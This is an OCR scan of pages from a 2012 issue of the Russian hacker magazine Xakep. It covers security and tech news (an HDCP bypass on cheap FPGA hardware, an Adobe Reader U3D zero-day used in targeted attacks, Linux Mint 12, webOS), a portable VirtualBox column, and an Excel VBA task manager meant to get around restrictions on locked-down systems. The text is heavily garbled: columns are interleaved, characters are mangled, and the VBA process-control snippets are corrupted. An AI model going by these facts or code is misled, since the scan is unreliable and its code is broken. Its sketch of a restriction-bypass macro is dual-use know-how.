Perl, но lacesarcer: lathegrugq,
помогает.»
лол, я уже не боюсь
«боевых эксплойтов». Я уже
Комментарнй:
Цитата из списка необходимых
удалил
Perl
calc.exe
со всех своих
11
laDeathStarPR: Siri, предупредительный выстрел по Альдерану. Я ска
эал « ПРЕДУПРЕДИТЕЛЬНЫЙ
ВЫСТРЕЛ». Черт, проклятье,
Siri!
модулей для работы с s.qlпiпjа.
Когда вы пишете проверку под
laLIomегSЗС:
Из-за
Клиент: «Я защищен, у меня есть
чить
IPS, WAF, NAC».
SOPA ты можешь полу 5 лет за скачивание песни
надел нижнее белье, не оэнача
Майкла Джексона, что на один год больше, чем получил доктор за его убий-
ЕВ
ет, что Я не буду чувствовать удар по яйцам.
Комментарий:
SOPA - Stop
laаагопроппоу:
Опliпе
Piracy Act.
С этими
Законопроект, который развязывает руки ресурсы и их вла
SCADA,
широковещал
кой, медицинскими и спутни
правообладателям и властям по воздей ствию на «пи ратские »
дельцев .
Ага, то, что я
ковыми исследованиями мы
будем ха кать как в фильмах в следующем году .
писи, проверяйте, чтобы то, с чем вы сравниваете ее не выда
валось на
?debug=true. LOL
ЗАЩИТЫ-ВЕБА
#ПРАКТИКА
~ СПЕЦИАЛИСТЫ ~~ДОКТОРВЕБ" обнаружили ЗЗтроянца из семейства Android.SmsSend BAndroid Market.
MEGANEWS
LINUX MINT 12
носр ВСЁ-ТАКИ
ВЫШЛА НОВАЯ ВЕРСИЯ ПОПУЛЯРНОЙ LINUX-СEiОРКИ
ДОЛОМАЛИ Напомним , что
•
Mint выпускается в 32-битной и 64битной версияхдля х86-систем и имеет
КОМПАНИЯINТЕLОКАЗАЛАСЬНЕПРАВА-- АППАРАТНОЕ РЕШЕНИЕ ДЛЯ нВСКРЫТИЯ ..
HDCP
СОЗДАНО
весьма скромные
системныетребова ния: 512 МБ памяти
(рекомендуется 1 ГБI, 5 Гбдискового пространства и гра
фическийадаптер,
поддерживающий
рошлой осенью мы уже рассказывали, что си
стема защиты НОСР, разработанная компанией Intel для шифрования видео- и аудиоданны х , передаваемы х по интерфейсу HOMI, дала слабину. В сети тогда был опубликован мастер-ключ НОСР,
минимальноераэ
однако компания
решение800х600 пикселеЙ.Дистрибу
В
Intel заявили ,
Intel отреагировала
на это спокойно.
что защита вовсе не потеряла своей
тив Linux Mint 12ты
эффективности , так как производство НОСР-чипов
найдешь на диске.
с подобны м ключом
-
достаточно трудоемкая и затрат
ная задача. Проще говоря,
Intel
намекнула, что тако е
аппаратное решение всё равно никто не создаст. Чуть больше года спустя ученые из Рурского университета
в Бахуме IГермания) доказали , что
Intel была неправа .: )
Немцы постарались упростить задачу и придумали, к ак использовать для обхода защиты достаточно недоро гую п'лату
Oigilent Atlys с
программируемой вентильной
аманда проекта Liпuх Мiпt выпустила новую версию своей бесплатной
матрицей IFPGA), поддерживающую НОМI и RS232 для
сборки, которая в последнее время обогнала по популярности даже
перепрограммирования. Стоимость все х необходимых
незабвенную
компонентов составила всего около $200 . Подробные
Ubuntu.
Linux Mint 12, основанный
на
Ubuntu 11.10 и
получивший кодовое имя
может похвастаться новым рабочим столом на базе
Gnome 3,
Lisa,
в который были
внесены некоторые дополнения. Кроме того, он поставляется с форком более
старой оболочки
Gnome 2, адаптированной для совместной
работы с
результаты свои х изысканий ученые обнародовали на конференции по вопросам информационной безопас ности RеСопFig
2011.
Gnome 3.
Кдругим улучшениям относится обновленный внешний вид с двумя новыми темами и новыми художественными работами. Найти новую версию можно как
на сайте Mint Linux Ilinuxmint.com), так и на нашем диске :). Кстати , нельзя не упомянуть, что внимание СМИ, так как, по данным
Linux Mint недавно привлек пристальное Linux OistroWatch, количество пользова
телей, загрузивших
Linux Mint, стремительно выросло. Вероятнее всего, при Unity, который недавно в Ubuntu популярные среды Gnome и КОЕ. Он ориентирован на новые
чиной этому стал новый пользовательский интерфейс заменил
форм-факторы , такиекакпланшетныекомпьютеры,аненатрадиционные настольные ПК . Так или иначе, но в
Gnome пошли тем же путем при разработке Gnome 3, Linux Mint была вынуждена развивать Mint Gnome Shell Extensions для Linux Mint 12 и предложить более привычный рабочий стол в результате чего команда
с меню приложений, списком окон и треем для иконок используемы х в данный моментприложениЙ.
Я ндекс 99 НАСТОЛЬНЫХ КОМПЬЮ ТЕРОВ И 188 НОУТБУКОВ
СОГЛАСНО ДАННЫМ КОМПА-
ЯНДЕКСБУДЕТУВЕДОМ-
В РЕЗУЛЬТАТЕ СБОЯ, произо-
КОМПАНИЯ
НИИ COMSCORE, пользова-
ЛЯТЫЛАДЕЛЬЦЕВСАЙТОВ
шедшего в ходе обновления
ЛА БОЛЕЕ
с различными данными
тели в возрасте
озаражении их ресурсов
портала госуслуг,
былиукрадены у Министер
за последний год стали
по e-mail, Ранее зта возмож-
деклараций дошли дО ФНС
поддержку архитектуры хВ6
стваобороныВеликобрита
пользоватьсязлектронной
ность была доступна только
в нечитаемом виде. Восста-
и процессоров Atom в плат-
нии или утеряны за послед
почтой на 25 %реже.
юзе рам Яндекс.Вебмастер .
новлению они не подлежат.
формеАпdгоid
12-17 лет
1 500
INTEL ВЫПУСТИ-
120 ИСПРАВЛЕ-
НИЙ, призванных улучшить
4.0.
ние полтора года.
012
ХАКЕР
02/157/201 2
СПУСТЯ 16ЛЕТ ПОСЛЕ ВЫХОДА QUAKE ВЛАСТИ ГЕРМАНИИ, наконец, разрешили продажу культовой игры.
ПОСТРОЙ СВОЕГО РОБОТА!
ИТОГИ «ПРЕМИИ РУНЕТА»
ДОСТУПНЫЙ КОНСТРУКТОР ОТ КОМПАНИИ EZ-ROBOT
СОСТОЯЛАСЬ УIII ТОРЖЕСТВЕННАЯ ЦЕРЕМОНИЯ
ВРУЧЕНИЯ ПРЕМИИ РУНЕТА так , подведены итоги конкурса на присуждение
Премии Pyheta-2011I ргеmiагuпеtа.гu J .
VIII церемония поставила своеобразный рекорд: было вручено 35 статузток . По традиции первыми были ' . названы лауреаты в номинации « Государство И общество » . Из рук Игоря Щёголева награду получили:
АНО «Модернизация » 'проект i-Russiа . гu J; банк ВТБ Iпроект«ВТБ - России»- www.vtЬгussiа.гu J; Российское агентство правовой и судебной информа
ции- РАПСИ Iwww.infosud .ruJ. Специальная наградабылатакжеврученакомпании«Ро стелеком » за проект«Госуслуги ».
Роботы , способные
Победителями в специальной номинации «Безопасный
распознавать речь,
следитьзаобъек-
.
Рунет», учреждённойЛигой безопасного интернета, стали:
компания Google Iпроект « Справочник подетской безопасностивинтернете»~ Фонд Развития Интернет Iпроект«Дети онлайн » J; Центр а.нализа интернет-ресурсов Iwww.NetPolice. r uJ.
том, интегрируемые
в iRobot Roomba и ктомуже про
даваемые пота кой смешной цене, настолько пригляну лись покупателям,
что все наборы разо
брали буквально за несколько дней,
Награды в номинации «За вклад в развитие домена рф» удостоились:
проект «Суперсадовник.рф»; БольшоеПравительство.рф;
и теперь конструк тора нет в наличии
на
ez-robot.com.
портал для детей и подростков «Вектор-успеха.рф » . В номинации «Культура и массовые коммуникации» по бедителями стали:
интернет-СМИ « Частный корреспондент» Ichaskor.ru l;
ы регулярно рассказываем тебе о различных интересных наборах
агентство гражданской журналистики «Ридус »;
« сделай сам » и сегодня просто не смогли пройти мимо нового кон
структора
ЗАО « Сейчас» lинтернет-проект www. NОW.гu l; Российская газета Irg .ru l.
EZ-Robot Complete Kit от компании EZ-Robot. Этотсрав нительно недорогой набор, стоимость которого составляет $243, позволяет
•
с оздаватьдостаточномногопродвинутыхроБОТОВ.Вкомплектвходятбес
Тройкалучwих в номинации «Стартапы года»:
проект « Карамба-ТВ » lcaramba.tvJ; проект «Будист. ру » Iwww.budist.ruJ; проект « Налогия » Iwww.nalogia.rul.
проводный контроллер, при помощи которого осуществляется управление ро ботом , ультразвуковой датчикрасстояния, три стандартных сервопривода, два серв о постоянного вращения и беспроводная камера слежения . В комплекте также присутствуют аккумулятор, различная сервомелочевка и необходимое
Лауреатами в номинации «Наука И образование»стали:
для работы будущих роботов ПО Ic удобным GUI, так что запрограммировать робота сможет даже тот, кто никогда вообще ничего не программировалl . Про
Mail.ru Group Iпроект « Кубок Russian Code Cup»J; национальный образовательный проект « Умная-школа.рф»;
граммное обеспечение также позволяет распознавать речь, мимику и лица ,
проект « Живой словарь » от портала « Грамота.ру »
ж е с ты, цвета и даже некоторые символы. Через НТТР-веб-серверможно
Igramota.tvl;
ко нтролировать робота удаленно, посредством
iPhone, Android
или другого ПК .
П ож алуй , создатели не включили в комплекттолько основу- корпус, в кото
социальная сеть читателей книг LiveLib.r u. В номинации «Здоровье И ОТДЫХ» победили:
р ы й помещается вся « начинка » . С другой стороны , это лишняя возможность
система онлайн-бронирования
п р оявить фантазию.
международная сеть доставки цветов
OZON.travel; AM F.ru ; портал оздоровье и медицине «ВитаПортал » Ivitaportal.rul.
Специальной « спортивной » номинацией компании « Ро
PHOENIXTECHNOLOGIES ГОТОВИТСЯ К ВЫХОДУWINDОWS 8
стелеком » отмеченпроект « СпортБокс~
В ходе церемонии была официально завершена всероссий ская онлайн-акция «Народное голосование Премии Рунета
-2011 ». Звание «
ВSСТ2.2ДОБАВИЛИ БОЛЕЕ 60 НОВЫХ
ФУНКЦИЙ, ПОВЫШАЮЩИХ ПРОИЗВОДИТЕЛЬНОСТЬ И БЕЗОПАСНОСТЬ, УЛУЧШАЮЩИХ СРЕДСТВА ПОДКЛЮЧЕНИЯ И Т. Д. ХАКЕР
02/157/201 2
Народного лидера » в итоге разделили
сразу два проекта: « Легенда: Наследие Драконов» и World ofТanks. Всехдесятерых победителей, которым досталось зто звание , можно найти на сайте
narod .premiaruneta .ru .
Лауреатами в номинации «Экономика И Бизнес» признаны:
компания « 1С-Битрикс » Iпроект « Корпоративный портал » l; биржа удаленной работы
•
деловой портал
Free-Iance .ru ·
BFM. ru.
Статуэтки в номинации «Технологии и инновации» получили: интернет-супермаркетпрограммногообеспечения
« Софткей » ISoftKey.ru l; компания « Вымпелком»IБилайн~
проект «Хабраха~р » l hаЬгаhаЬ~г ~ ; социальнаясеть « Одноклассники~ компания « Ростелеком».
013
MEGANEWS
ХАКЕРЫ ПОХИТИЛИДАННЫЕ О 13,2 МИЛЛИОНАХ пользователей игры Maple Story. Инцидентпроизошел в Южно й Корее .
ЕЩЕОДНАУЯ3ВИМОСТЬОDАУ НАИДЕНАВ ПРОДУКТАХАDОВЕ
СКАЖЕМ «НЕТ!» И BING
ХАКЕРЫ УЖЕ ИСПОЛЬЗУЮТ ЕЕ В СВОИХ ЦЕЛЯХ
о Р2Р-ПОИСКОВИКЕ УАСУ
r~~
ос л е п яти лет р аботы в п оте лиц а а к т и в ис ты дв иже н ия за с в обо д ное ПО пр е д ста в и л и ми р ус в о й н о в ый п роект:
р ас п ре д еле н ную п оиско в у ю системуУаС у I уасу.пеt ), котор а я в п е р с п екти в е д олж н а состави т ь ко н куре нц ию
Go ogl e, Yahoo, 13 iп g
Adobe
се рвис а в том, чт о о н р аботае т п о п р ин ци п у Р 2 Р, т о е ст ь з а х ран ен ие
Adobe обозначила
п о и ско в ого ин д екса и обрабо т ку п оиско вы х з апр осо в УаСу отве ч ает
уязвимость как
«U3Dmemory corruption vulnerabllity». U3D преАставляет собой технологию Universal3D и фай ловый фор м ат АЛЯ хранения трехмер
ных графических данных . Уязвимость заключается в ТОМ,
что в PDF-Аоку м ент М О Ж НО внедрить
вреАОНОСНЫЙ U3D контент, исполнение
к оторого в сис т еме
и п рочим коммерческим поисковик а м. Ос н овная фишка н о в о г о
н е ц е нтр а л ь ны й с е р в е р , а с еть н ез ависи м ы х у частни к ов , н а ком пь ю т е ра х которых рабо т ае т о д ноимен на я п р о гр а мм а. Н ик т о из у ч ас т н ико в сети н е може т повли я ть н а ре зу л ьта ты , к оторы е выд а ют ся
п о за п росу п ользовате ля , или н а по р я д ок их о т об р аже н ия н а стра н и ц е. В сеть
Freeworld
м о ж ет во й т и л ю б ой же л а ющ ий, уста нов и в
ш ий П О под GN U/Lin ux, Wi ndows ил и Мас 05 . П о сути, YaC y - з т о с в ое го р о д а ан ал ог с в о б о дно й со ци а льн о й се ти
Diaspora,
ко т о рая
пози ц ионируе т с я как а льт ер н а т и ва з ак рыты м ц ен т р али зо ванны м
се тя м
Face boo k, Go ogle+ ИТ.
П . Р2Р- се т ь и от к рыты й ко д гара н т и р ую т
ус т ой ч ивост ь по и ско в ик а и з ащ и щают е г о от ц е нз у р ы. Н а каж д ом уз л е создается собс тв е нн а я б аза п оисков ы х и нде ксо в , а пр о т око л
пр едусма т ри в ает возмож н ос т ь о б м ен а б азам и с др у г ими узлами. А в
вызывает перепол
т оры УаСу считают, что в ажней ш ую зада чу по иска в ин т ернете нел ь
нение буфера.
зя д о ве ря т ь н ескольки м кр у пным ко мп а ния м , та к как э т о угрожае т
конфи д енциал ьн ости п ол ь зо в а т е л ей. П о дд е р жку УаСу осу щ ест в л я
eT ор ган иза ц ия Free 50ft ware F оu пd а t iоп Europe IF5FE). х уж эти мн о г ос т ра д а л ьные Ado be Reader и Ac robat! П орой скла ды в аетс я о щу щ е н ие, чт о о н и сос тоя т из ды р и б аго в чуть бо л ее ч ем п о лн остью. Ком пан ия Adobe
5yste ms по дтв ер д ила н аличие
--_...
",с.,'.м-к'
.
1!!JjJj УаСу. Dlalrlbuted Sf!erch Engln8
ружена BAdobe Reader Х Iверсии 10.1.1 и н иже) дл я Wi ndows и Масiпtоsh , Ado be Reader9.4.6 для Uп iх, а та кже в Adobe Ас гоЬ а ! Х Iд о в е рс ии 10.1.1 включительно) дл я Windows и М асiпtоsh. И з-за этой у я звимости могут
_.... •__ ~.'
. ~_ . _~ -
п а д ат ь пр о гр амм ы , к р оме того , о на п о т е нциальн о п оз в о л яетхаке р у по л у
...
J: а, "'"- - - . ,
с-.
W':'WN _
.7""' .
- .- ..
-
. ~+
- ,......~
читьконтро ль на д системоЙ.Извес тн отакж~ч т окибе р преступникиуже в з яли на во о р уже н ие нов у ю
W<tb SlN(IWt
O~ ~w.~_o
~
незак ры той к р и т и ч еской у я з ви мос ти в у п о м я н у т ом в ыш е П О. Д ы ра об н а
Oday. П о з аявл е н и ям Ad obe, дыр к а ис п о л ь
зуется в ход е о гр аничен н ых це л е в ых ат ак. В качестве ц е л ей, в ероя т но, в ыб раны во енные п о дряд ч ики СШ А : и з начальноАd о Ье заяви ла , чт о об уязвимости сооб щ и л и г р уппы р еаги р о в а н ия в
Lockhee d Ма г tiп и MITR E.
Ч уть п озже ком п а н ия изме н и ла «показа н ия», И с тала у т ве р ж д а т ь, ч то
инфо р ма ц ия об уяз в имос т и п ос т у п и л а не от MITRE, а о т D еfепsе
5ecurity
I пfог m аtiоп Е хс hапg е - г р у ппы в ое нны х п одрядчи к ов , кото ры е обмени
ваются раз в е ды вате льны ми данны м и п о кибе р у гр озам. П атчи д ля
и АсгоЬа! 9 уже вышл и, а в о т ис пр а вл е н ий дл я
Rea der Read er и Ас г о Ьа! 1О l а также
: =са
i[~
.-
.'-.--
...----
IЦ~;:-
для в е р сий п од Ма с 05 Х и Uпi х ) мож н о ж дать то ль ко в к он це ян вар я .
НАЧАТЫ ПОСТАВКИ НОВОЙ ЭЛЕКТРОННОЙ КНИГИ WEXLER. ВООК Т7005 С 7-ДЮЙМОВЫМ сенсорным зкраном и LEDподсветкой для комфортного чтения. Устройство оснаще
но встроенной памятью
8 ГБ (можно расширить до 32 ГБ 2800
с помощью карт MicroSD) и мощным аккумулятором мА
ч. Новинка поддерживает самые популярные форматы
электронных книг, видео, аудио и изображений . Dтдельно сто
итотметить поддержку формата ООС . Важным достоинством
011.
такжеявляетсяналичиеУВ-выход~благодарякоторому
GOOGLE СООБЩАЕТ, ЧТО
NОКIАИ ИНТЕРНЕТ-ХОЛДИНГ
можно подключить WEXLER.BDDK Т7005 прямо кУВ . Книга
КОЛИЧЕСТВОСКАЧИВАНИЙ
позволяет передавать на внешние устройства звуки изо
HaAndroid Магkеtдостигло
MAIL.RU GROUP ВЫПУСТИЛИ СОБСТВЕННЫЙ БРАУ3ЕР.
бражение качеством до 720р. Для удобства пользователей
десяти миллиардов . Каждый
Новинкой планируется осна
новинка оснащена датчиком пространственного положения
месяц в Market совершается
стить 27 моделейтелефонов
-G-сенсором. Ориентировочная розничная цена устройства
порядка одного миллиарда
Nokia на платформе Series40.
-3990 рублей.
покупок.
ХАКЕР
02 / 157/201 2
26 %СПЕЦИАЛИСТОВ ПО IiЕ30ПАСНОСТИ просматривают конфиденциальные данные, к которым у них вообще не ДОЛЖНО быть доступа.
WEBOS СТАНОВИТСЯ
ОТКРЫТЫМ ПРОЕКТОМ
КОМПАНИЯ HP ПРИНЯЛА РЕШЕНИЕ ОТНОСИТЕЛЬНО БУДУЩЕГО МОБИЛЬНОЙ ПЛАТФОРМЫ апомним, что компания
HP нетакдавно отказал ась от даль
неЙшегоразвитиявсегосвоегомобильногоподразделения.
Однако окончательный вердикто судьбе операционной с истемы wеЬО5тогда озвучен не был , что , конечно же , породило
множество слухов и теорий. В частности, предполагал ось, что web05 будет куплена компанией Amazon или
Oracle. Также напомним, что
впервыеэтамобильная платформабылапредставлена компанией
Palm в качестве замены устаревшей Palm 05. В свою очередь, в пер вой половине 201 О года компания Palm была приобретена HP за 1,2 млрддолларов .
Но вернемся Kweb05. В с ередине декабря
Hewlett-Packard
наконец-то объявила о своем решении . Компания откроет ис х одный
код web05 и объединит усилия с сообществом разработчиков опенсор са, которые не будут платить за это никаких отчислений нр. Возможно, благодаря этому решению проект получит новое воплощения и зажи
вет, наконец, нормальной жизнью. В общем-то, по аналогичной схеме сейчас распространяется система Android. Примечательно, правда,
ЧТО тип лицензии, на условиях которой будут распространяться от к рытые исходники web05,-GPL, В5D или излюбленный Мiсrоsоft ме х анизм
5hared 50urce-B соответствующем пресс-релизе не огова TechCrunch генеральный директор HP МегУитмен, компания также не исключает, что в даль рива ется вовсе. Как заявила винтервьюдля
нейшемзаймется производством новыхпланшетовподуправление м
web05. По ее мнению, это может произойти в 2013 году, так как в 2012- м HP делает упор на устройства подуправлением Windows8. В то же время, в середине декабря, Hewlett-Packard устроила запланированную распродажу оставшихся планшетов TouchPad. Аттракцион невиданной щедрости про водился на аукционе еВау, всекциидляотремонтированныхтоваровитоваровсоскидкоЙ . Ком пания действительно предлагала устройства, прошедшие процедуру восстановления, то есть не новые изделия, а, например, когда-то
или из демонстрационных залов магазинов . В одни руки отпускалось
возвращенные потребителями (зачастую внераспакованном видеl
только по два устройства. Девайсы расходились с ошеломляющей скоростью. Планшеты
(/j) webOS
HPTouchPad с 16 Гбайт встроенной памяти,
предлагаемые по цене $99, закончились уже через 15 минут. TouchPad с 32 Гб встроенной памяти стоимостью $149 продавались немного дольше, но , по свидетельству ритейлера , распродажа планшетов завершиласьчерез25минутпослестарта.Всегобылореализовано
7850 TouchPad. Единственное , что неизвестно, - как продавались ак Вближайwем будущем HP обещает представитьwирокой общественности обновленную платформу ENYO для разработки
приложений noAwebOS.
сессуары в комплекте (чехол, зарядная док-станция и беспроводная клавиатураl , цена которого составляла $79. Ажиотаж вокруг распро дажи был так велик, что в работе еВау произошел сбой, а в платежном
сервисе
PayPal наблюдались задержки с прохождением транзакций.
Инсайдеры утверждают, что изначально остаток TouchPad планиро вали реализовать среди сотрудников нр, но затем компания по неиз вестным причинам изменила свои планы.
ЗАКОНЧИЛСЯ КОНТЕСТ ПО ПОИСКУУЯЗВИМОСТЕЙ В ЯНДЕКСЕ
ОРГАНИЗАТОРЫ ХОТЕЛИ ОГРА НИЧИТЬСЯ ОДНИМ ПРИЗОВЫМ
МЕСТОМ С НАГРАДОЙ $5000, НО,
ТАК КАК ДЫР БЫЛО ОБНАРУЖЕ НО МНОГО, ПРИШЛОСЬ ВВЕСТИ ВТОРОЕ И ТРЕТЬЕ МЕСТО ХАКЕР
02/157/2012
015
IEADER
КОЛОНКАСТЁПЫИЛЬИНА
ВИРТУАЛЬНАЯ МАШИНА НАФЛЕШКЕ
есмотря на то, что я все больше использую разные онлайн
трибутива
сервисы для решения многих задач, на флешке у меня всегда
что на этом этапе файлы можно еще и особым образом упаковать, что
есть набор незаменимых рогtаЫе-приложений, которые за-
бы они занимали меньше места на USВ-флешке Iхотя при нынешних
VirtualBox
и извлечения оттуда нужных файлов . Интересно,
то за них это зачастую делают энтузиасты IportabIeapps.com/rul. В конце
размерах флешек это едва ли актуальноl. Жмем на кнопку «Download installation liles 01 VirtuaIBox» , выбираем разрядность системы Iнапри мер, «Extract the liles 'ог 32-Bit system»1и ждем, пока лончер сделает
пускаются без установки на любом компьютере. Разработчики сами часто выкладывают портабельные версии своих продуктов. Но если даже нет, концов, сейчас уже каждый может скачать замечательную утилиту
все свое дело . Чтобы установщик адаптировал пути под систему
Сатеуо Iwww.саmеуо .с оm lи сделать рогtаЫе-версию практически
Iпоправил нужньiе параметры в конфиге Vi гtuaIBox.xmll, бинарник
любого приложения .. Цель достигается за счет так называемой виртуа
РогtаbIе-ViгtuаIВох.ехе нужно запустить еще раз. Вуаля
лизации: приложение помещается в специальный контейнер, в котором
поряжении есть полноценная
эмулируется нужные для его работы ветки реестра, файлы на диске и
систему .
т. д. Где бы оно ни запускалось, для него всегда будут созданы такие
В трее появится иконка
VirtualBox. Без
VirtualBox,
-
у нас в рас
какой-либо установки в
с помощью которой можно
тепличные условия :1. Увы, виртуализировать таким образом можно
у правлять виртуальной машиной и дополнительно настраивать ее. В
далеко не всё. Когда мне кровь из носа понадобилась портабельная
го стевы х ОС по умолчанию работает и
виртуальна машина, на которой можно было бы запускать гостевые
гостевую ОС во внешнюю сеть lинетl, придется провести некоторые
ОС, оказалось, что ViгtualBox под Сатеуо не работает. На официальном
дополнительные манипуляции . В трее надо выбрать
с айте подходящей версии виртуальной машины не было, однако на
Network» и
форуме я нашел ссылочку на интересный проект- РогtаbIе-ViгtuаlВо х
Далее нужно перезапустить РогtаbIе-ViгtuаlВох и согласиться на уста
и сеть. Но чтобы выпустить
«Settings ~ «Start VirtualBox with network support».
новку драйвера . Процесс организован так, что при завершении работы
Iwww.vbox.mel. Цель разработки
включить опцию
USB,
-
заставить
VirtualBox
работать без установки
с виртуальной машиной всё, что было установлено в систему, удаляет
и запускаться откуда угодно, например с USВ-носителя. Интересно,
с я . Файлы гостевой ОС разумно разместить прямо на флешке вместе с
что утилита полностью написана на скриптах
VirtualBox. У
Autolt IBce и сх одники
открыто лежат в
bit.ly/rQOn7ZI, но из-за этого, правда, и выглядит не о чень изящно. Но главное-то - результат. Итак, скачива е м приложе ние Iy меня это РогtаbIе-ViгtuаIВох_v4.1 . 6-Stагtег_v6.4.8-Win_all.exel и запускаем его - программа предложит выбрать путь для распаковки . После зтого можно запустить РогtаbIе-ViгtuаIВо х .ехе. Все настройки
меня эта система одна, поэтому ее можно запускать сразу,
без дополнительны х манипуляций, указав в параметрах ее имя:
Учитывая, что виртуальная машина всегда находится не в выклю
выставляются автоматически , исправлять что-то вручную Iнапример, путиl не требуется. Появившееся окно - это так называемый лончер.
ченн о м состоянии, а в режиме
Он появляется один раз и предна з начен для загрузки последнего дис-
роя. И где угодно. I
Here уou са п flnd the inslllllation flles 01 Virtual80x сап aulomatic. 11y download and
«Save the state», ее
запуск происходит
очень быстро. Поэтому она всегда готова к работе без лишнего гемор
0 0 .
make some adjustments (ff you use this script downfoading Vi rtu 2l1Вox, on" make
the sellings and cfick ·"0 1("" ). ION:
OR Path 10 Ihe inslallation file 01 VirtualBox ,. ...
w7rww
,.., ОС: wnbws 7
Download installation liles of VirtualBox
-"'--
~_ 5 12 к.
~~,!Iжqo1 •
search
VТ"'-С/АЮ-\t
!'lI Exlract lhe ~Ies 'ог а знm syslem ~ Exlraс! Ihe ~Ies 'ог а 64-Вrt syslem
-
•
r:J Compress Ihe ~Ies 10 reduce Ihe siZe
EI Stэ" PortabIe-VirtuаlВох a1\erlhe eJdract andlor compress
(i ttoon'eIIII
Downla8ding:
'''rA_
""-
!h~~lDEn-OЛФЮlЮ): ~ (4]. 'Я")
Soa'AfWJO;
http://downlоаd .virtuаIЬох.OJgМrtuаl tю./4 . 1 .aNiтtu . I В ах-4 . 1.8--7471 ~Wi n .u..
""~.vd (or...м..Ii, 6. S9 rъ)
Bytu '"" 4 1043104 ОК
Настройка рогtаЫе-версии виртуальной машины
016
VirtualBox работает без установки
ХАКЕР
02 / 157/2012
Proof-of-Concept МЕНЕДЖЕР ЗАДАЧ НА
EXCEL
На кой черт может понадобиться таск-менеджер, реализованный стандартными средствами
Excel?
Хороший вопрос. Известному специалисту по информационной безопасности Дидье Стивенсу пришлось сделать подобную штуку, когда он столкнулся с системой, в которой было запрещено буквально всё. Взаимодействие с ОС осуществлялось через специальную оболочку, препятствующую
запуску большинства приложений, в том числе и стандартного таск-менеджера [через который ее легко можно было бы отрубить], да и локальные политики ограничивали его использование. Увидев, что
Excel
входит в число разрешенных для запуска приложений, Дидье подумал, почему бы
не задействовать встроенные в
VBA-макросbI, чтобы управлять запущенными процессами в
Office
системе? Подумал-подумал и сделал полноценный таск-менеджер.
КАК ЭТО ВЫГЛЯДИТ?
колонке
напротив процесса надо
Command
Declare f'_uщJi~QП рреJ1РГЩ~S ~S LJb dH "~~ (ElyViJl _ d\'JI;)~~s],redAcces~si!S
f'г:;iу;зt~
поставить флаг н у жной команды [например , тер минейту процесса соответствует буква t) и
(J.s Long, ~~ByYaJ,~~ blnh_~r:LtH;3Jldl.e 8s ~~
системе ограничен запуск таск - менеджера,
нажать на кнопку
ВОQJеал,
но при этом есть возможность открывать
ется реально полезная штука . Тут даже не надо
Ехсеl-таблицы с макросами, то управлять
фантазировать по поводу пентеста и ограни
процессами можно через несложный макрос,
ченных окружений, чтобы представить, зачем
ограничений. К пример у, следующая функция
она может понадобиться. Вспомни хотя бы
выгружает процесс из памяти:
РоС представляет собой обычный файл
- TaskManager.xls.
реализованный на
Excel-
Идея проста: если в
VBA [Visual Basic для
приложений). Открыв файл, ты увидишь две кнопки: List processes [Отобразить процессы) и Execute commands [Выполнить команду) . Соб ственно, жмем первую и видим, как таблица
win locker'bI -
Execute commands. Получа
prJy"t~e~ ~$u b ~J е~сm;iпаtеР roc~e 5 ~ ВуХО С ~~ ~~_ElyV;31~~ J,PToc~ssID Аs ~ LQлg}
Все макросы полностью написаны на чистом
_
~~ hl'r.oc~ss
ДЛЯ манипуляции с процессами вызы
путь к бинарнику, пользователя, под которым
ваются WIN32-функции из соот ветств ующих
запущен процесс, время создания процесса , а
системных библиотек. Нужные функции
также разрядность
вначале объявляются путем подгружения из
из процессов можно выгрузить, приостановить
DLL, которое
и, соответственно, возобновить. Для этого в
образом:
.,
_
•• :r1oc
~~_ ~ __ H
Iermif1gt~PC9~c:ess Jll'~9C~S~S, _ Ооs~еН_апdlе ~~ ~~_ ~_E гн:I
...
А
как в
. .. ...
5 C... m'Rd P,6U8 . . . .. 11_11
1 е
~:r~;::.:.o::"~r;:.:. l nOCU'_~IY_l.FlmQ.TI<.:. О. 1.r~cu.IDI
1SYtI... PIocml с_.о,
.....". --
",и_ .о Uи .
17111U!*_
10
~.ж.
1816Jf'PAOSP'3W11
11 ~"
EllCfLecE
ID1JFPfЮSP3\IмI
, "
,-I•
1t._ &bIk1HI" ' O ТО C1.At, llI•• cledl l It CM.T"_I"IO:-".1«1( }оТ,,_. УС>h:lи"",
I72NТALIIНOAfТY\S'S1VoI
TaskManager.xls в действии
~I""'"
IЩttlOl""" •••
lOeat.l~_"ЮUI_iJ.11I н ~~~~::-~. lJ!'14. щkeCl=~...... l1occcnш~
• .!L-J
02/157/201 2
TaskManager.xls
работает
так в 62-битных системах, отлично
Office 2010) и имеет цифро
вую подпись.
Бери на вооружение лин к для загрузки :
~=_":::Х-'П1II
,f,
Простейший код на УВД позволяет с легкостью управлять процессами в системе
ХАКЕР
1IScIшI4, _tftr j
~_ rr 1»' 1 d • .ыll.lf. r1 0l • • •• rАсоо\Ul~_ - Sp."tlW(_'llIJ
IltБJf'PfIOS~ .НТAlЛНORlТY\S,sтa.
_Ж(I"1 0, .
32-,
64-битной версии
,b ' _ ', ТCП!f3I'лат. !lTOn:l) Q 1) n." GeHO""I .. ro ....tOCl"Ta_.TOIn'''U'..... O. O. l• • ~
Т! OpIUl. ... oce •• tobul
'_",,",'
If
себя чувствует в любых Офисах [вплоть до
о..'.....,..-..Н···
•
U81P'К"""
е
hProc_ess
SuJ)
Последняя вер сия tЧ'
_ .И~ Ь3U-ll19
)~
lProc.essJD)
hP~roS;es ~s._. 9 ~ Ihеп~
осуществляется примерно таким
~ "'.s
= pp.e!1I'.rocess~ ( ~~~~ ~ ~~~ ___ ~~~~_~~~~~
P'RQCE$S_JERMJ;r-JАПJ 3:1,
ЕПd_
.
~ __
КАК ЭТО РАБОТАЕТ?
VBA.
-32 или 64 бита). Любой
А_s Lопg) 8s ~ ~Lолg
После этого их можно использовать без
ет запуск таск-менеджера.
[название исполняемого файла,
процесса,
ByYal d\tlprQc:):d
любая подобная дрянь блокиру
быстро заполняется информацией о процессах
ID
':kеr:пеJД.
Ыоg.didiегstеvепs.соm/20 11/11/30/signed-
taskmanager. Остается
только сказать Дидье
спасибо за классный РоС, который многим на верняка пригодится для решения конкретных
задач.
::I:
017
COVERSTORY
Артур Геркис Itwittег.соm/ахЗЗОd,
в
е
00
готе Ыt.lу/грВАН9 список инициатив ,
где можно получ и ть кеш за уязвимости;
can;use.com -таблица возможностей браузеров ;
bjt.ly/taDA7s историческая
новость от Netscape; bjt ly/alUyof Hall ofFame;
ЫЦу/kуВЕkv проект
ASan;
РУКОВОДСТВО ПО ЗАРАБОТКУ НАПЕНТЕСТЕ ПОПУЛЯРНОГО ВЕБ-БРАУЗЕРА
ЫЦу/оJпгhР исследовательская
